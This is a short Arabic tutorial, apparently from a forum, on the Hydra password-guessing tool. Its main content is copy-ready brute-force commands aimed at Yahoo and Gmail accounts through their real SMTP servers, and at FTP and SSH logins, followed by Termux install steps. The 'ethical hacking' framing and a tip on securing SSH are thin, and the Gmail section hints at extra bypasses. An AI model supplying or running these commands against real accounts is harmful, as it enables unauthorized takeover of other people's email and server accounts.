شرح أداة Hydra لهجوم التخمين على البروتوكولات!

أداة Hydra من أشهر وأقوى أدوات هجوم التخمين (Brute Force) في مجال اختبار الاختراق 💻
الأداة سريعة جدًا وبتدعم عدد كبير من البروتوكولات زي SMTP - FTP - SSH وده اللي مخليها منتشرة بين مختبري الاختراق.

Hydra فكرتها بسيطة: بتجرب عدد كبير من كلمات المرور أو أسماء المستخدمين لحد ما توصل للداتا الصح، وده بيخليها أداة مهمة في اختبار تأمين السيرفرات والخدمات ⚠️

ليه أداة Hydra قوية ومميزة؟ 🚀​

• سريعة مقارنة بكتير أدوات تانية
• بتدعم بروتوكولات كتير
• بتشتغل على Linux و Termux
• مناسبة لاختبار الاختراق الأخلاقي 🛡️

---

​

تخمين حسابات Yahoo باستخدام SMTP 📧​

تخمين حساب واحد​

hydra -S -l email@yahoo.com -P passlist.txt -e ns -V -s 465 smtp.mail.yahoo.com smtp

📌 الأمر ده بيستخدم:

• -l لتحديد إيميل واحد
• -P ملف كلمات المرور
• SMTP كبروتوكول الاستهداف

تخمين أكتر من حساب Yahoo (قائمة إيميلات)​

hydra -S -L emaillist.txt -P passlist.txt -e ns -V -s 465 smtp.mail.yahoo.com smtp

هنا بنستخدم -L بدل -l علشان نمرر ملف فيه أكتر من إيميل 👥

---

​

تخمين حسابات Gmail باستخدام SMTP 📩​

حساب Gmail واحد​

hydra -S -l email@gmail.com -P passlist.txt -e ns -V -s 465 smtp.gmail.com smtp

قائمة حسابات Gmail​

hydra -S -L email.txt -P passlist.txt -e ns -V -s 465 smtp.gmail.com smtp

⚠️ خلي بالك إن Gmail عنده أنظمة حماية قوية، فمش دايمًا الأوامر دي بتنجح بدون تجاوزات إضافية.

---

​

هجوم التخمين على بروتوكول FTP 📂​

اسم مستخدم واحد​

hydra -S -l username -P passlist.txt -e ns -V -s 21 server_ip ftp

قائمة أسماء مستخدمين​

hydra -S -L listusername.txt -P passlist.txt -e ns -V -s 21 server_ip ftp

📌 بروتوكول FTP من أكتر البروتوكولات اللي بتتعرض لهجمات تخمين لو مش متأمنة كويس.

---

​

هجوم التخمين على بروتوكول SSH 🔑​

مستخدم واحد​

hydra -S -l username -P passlist.txt -e ns -V -s 22 server_ip ssh

قائمة مستخدمين​

hydra -S -L listusername.txt -P passlist.txt -e ns -V -s 22 server_ip ssh

🛑 يفضل دايمًا تأمين SSH بتغيير البورت واستخدام مفاتيح بدل الباسورد.

---

​

تثبيت أداة Hydra على Termux أو Linux 🛠️​

pkg update && pkg upgrade -y
pkg install hydra -y

بعد التثبيت تقدر تبدأ تستخدم الأداة مباشرة في اختبار الاختراق الأخلاقي.